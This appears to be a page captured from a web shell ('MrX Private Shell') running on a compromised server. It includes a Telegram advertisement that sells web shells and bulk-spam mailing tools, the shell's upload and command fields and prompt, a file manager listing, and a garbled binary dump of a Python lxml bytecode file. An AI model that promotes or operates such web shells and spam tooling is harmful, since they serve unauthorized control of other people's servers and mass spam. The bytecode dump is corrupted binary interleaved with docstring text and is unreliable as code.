__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

C��g����SrSSKJr \RrSSKJr \ \ "SS5r\"5r
g!\	a \
rNf=f!\	a \
rN*f=f)z9
The ``E`` Element factory for generating XML documents.
�N��partialc�2�\rSrSrSrSSjrSrSrSrg)	�ElementMaker�;aGElement generator factory.

Unlike the ordinary Element factory, the E factory allows you to pass in
more than just a tag and some optional attributes; you can also pass in
text and other elements.  The text is added as either text or tail
attributes, and elements are inserted at the right spot.  Some small
examples::

    >>> from lxml import etree as ET
    >>> from lxml.builder import E

    >>> ET.tostring(E("tag"))
    '<tag/>'
    >>> ET.tostring(E("tag", "text"))
    '<tag>text</tag>'
    >>> ET.tostring(E("tag", "text", key="value"))
    '<tag key="value">text</tag>'
    >>> ET.tostring(E("tag", E("subtag", "text"), "tail"))
    '<tag><subtag>text</subtag>tail</tag>'

For simple tags, the factory also allows you to write ``E.tag(...)`` instead
of ``E('tag', ...)``::

    >>> ET.tostring(E.tag())
    '<tag/>'
    >>> ET.tostring(E.tag("text"))
    '<tag>text</tag>'
    >>> ET.tostring(E.tag(E.subtag("text"), "tail"))
    '<tag><subtag>text</subtag>tail</tag>'

Here's a somewhat larger example; this shows how to generate HTML
documents, using a mix of prepared factory functions for inline elements,
nested ``E.tag`` calls, and embedded XHTML fragments::

    # some common inline elements
    A = E.a
    I = E.i
    B = E.b

    def CLASS(v):
        # helper function, 'class' is a reserved word
        return {'class': v}

    page = (
        E.html(
            E.head(
                E.title("This is a sample document")
            ),
            E.body(
                E.h1("Hello!", CLASS("title")),
                E.p("This is a paragraph with ", B("bold"), " text in it!"),
                E.p("This is another paragraph, with a ",
                    A("link", href="http://www.python.org"), "."),
                E.p("Here are some reserved characters: <spam&egg>."),
                ET.XML("<p>And finally, here is an embedded XHTML fragment.</p>"),
            )
        )
    )

    print ET.tostring(page)

Here's a prettyprinted version of the output from the above script::

    <html>
      <head>
        <title>This is a sample document</title>
      </head>
      <body>
        <h1 class="title">Hello!</h1>
        <p>This is a paragraph with <b>bold</b> text in it!</p>
        <p>This is another paragraph, with <a href="http://www.python.org">link</a>.</p>
        <p>Here are some reserved characters: &lt;spam&amp;egg&gt;.</p>
        <p>And finally, here is an embedded XHTML fragment.</p>
      </body>
    </html>

For namespace support, you can pass a namespace map (``nsmap``)
and/or a specific target ``namespace`` to the ElementMaker class::

    >>> E = ElementMaker(namespace="http://my.ns/")
    >>> print(ET.tostring( E.test ))
    <test xmlns="http://my.ns/"/>

    >>> E = ElementMaker(namespace="http://my.ns/", nsmap={'p':'http://my.ns/'})
    >>> print(ET.tostring( E.test ))
    <p:test xmlns:p="http://my.ns/"/>
Nc��^�UbSU-S-OSUlU(a[U5OSUlUb[U5(deUbUO[R
UlT(a[T5O0mSnSn[T;a	UT['[T;a	UT['[RT;aUT[R'U4Sjn[T;a	UT['TUl
g)N�{�}c��USnUR=(d SU-Ulg![a  UR=(d SU-Ulgf=f)N����)�tail�
IndexError�text)�elem�item�
last_childs   �./usr/lib/python3/dist-packages/lxml/builder.py�add_text�'ElementMaker.__init__.<locals>.add_text�sM��
A�!�"�X�
�$.�?�?�#8�b�D�"@�
����
5�!�Y�Y�_�"��4��	�
5�s�%�'A�Ac�b�UR(a[SUR-5eXlg)Nz<Can't add a CDATA section. Element already has some text: %r)r�
ValueError)r�cdatas  r�	add_cdata�(ElementMaker.__init__.<locals>.add_cdata�s&���y�y� �!_�bf�bk�bk�!k�l�l��I�c�>�URnUR5H7up4[U[5(aXBU'M T[	U5"SU5X#'M9 g�N)�attrib�items�
isinstance�
basestring�type)rrr�k�v�typemaps     �r�add_dict�'ElementMaker.__init__.<locals>.add_dict�sI����[�[�F��
�
�����a��,�,� !�1�I� '��Q�� 0��q� 9�F�I�	%r)�
_namespace�dict�_nsmap�callable�ET�Element�_makeelement�str�unicode�CDATA�_typemap)�selfr&�	namespace�nsmap�makeelementrrr's `      r�__init__�ElementMaker.__init__�s����3<�3H�#�	�/�C�/�d���%*�d�5�k�����"�h�{�&;�&;�;�;�+6�+B�K��
�
���$+�$�w�-���	A�	�
�g��#�G�C�L��'�!�'�G�G��
�8�8�7�"� )�G�B�H�H��	:��w��$�G�D�M���
rc��URn[U[5(d"[U[5(a
URnO%UR
bUSS:waUR
U-nUR
XRS9nU(aU["XS5 UH�n[U5(aU"5nUR[U55nUc�[R"U5(aURU5 Me[U5RHnURU5nUcM O) [!S[U5R"<SU<S35eU"XV5n	U	(dM�UR[U	55"XY5 M� U$)Nrr	)r6zbad argument type: �(�))r3r!r0�_QNamerr)r/r+r*r,�getr#r-�	iselement�append�__mro__�	TypeError�__name__)
r4�tag�childrenrr&rr�t�basetyper%s
          r�__call__�ElementMaker.__call__�s@���-�-���#�s�#�#�
�3��(?�(?��(�(�C�
�_�_�
(�S��V�s�]��/�/�C�'�C�� � ��K�K� �8����D�M�$�'��D���~�~��v�����D��J�'�A��y��<�<��%�%��K�K��%�� $�T�
� 2� 2�H����H�-�A��}��	!3�$�%)�$�Z�%8�%8�$�%@�A�A��$�
�A��q����D��G�$�T�-�%�(�rc��[X5$rr)r4rDs  r�__getattr__�ElementMaker.__getattr__�s
���t�!�!r)r/r)r+r3)NNNN)	rC�
__module__�__qualname__�__firstlineno__�__doc__r8rHrK�__static_attributes__�rrrr;s"��V�p $�9=�* �X!�F"rr)rP�
lxml.etree�etreer-�QNamer=�	functoolsrr"�	NameErrorr0r1r�ErRrr�<module>rYsn��L�
�	���������
i"�i"�Z�N���m���J���
���G��s�3�A�>�>�A�A

Filemanager

Name Type Size Permission Actions
ElementInclude.cpython-313.pyc File 6.11 KB 0644
__init__.cpython-313.pyc File 966 B 0644
_elementpath.cpython-313.pyc File 10.23 KB 0644
builder.cpython-313.pyc File 7.31 KB 0644
cssselect.cpython-313.pyc File 4.45 KB 0644
doctestcompare.cpython-313.pyc File 24.54 KB 0644
pyclasslookup.cpython-313.pyc File 213 B 0644
sax.cpython-313.pyc File 12.38 KB 0644
usedoctest.cpython-313.pyc File 438 B 0644
Filemanager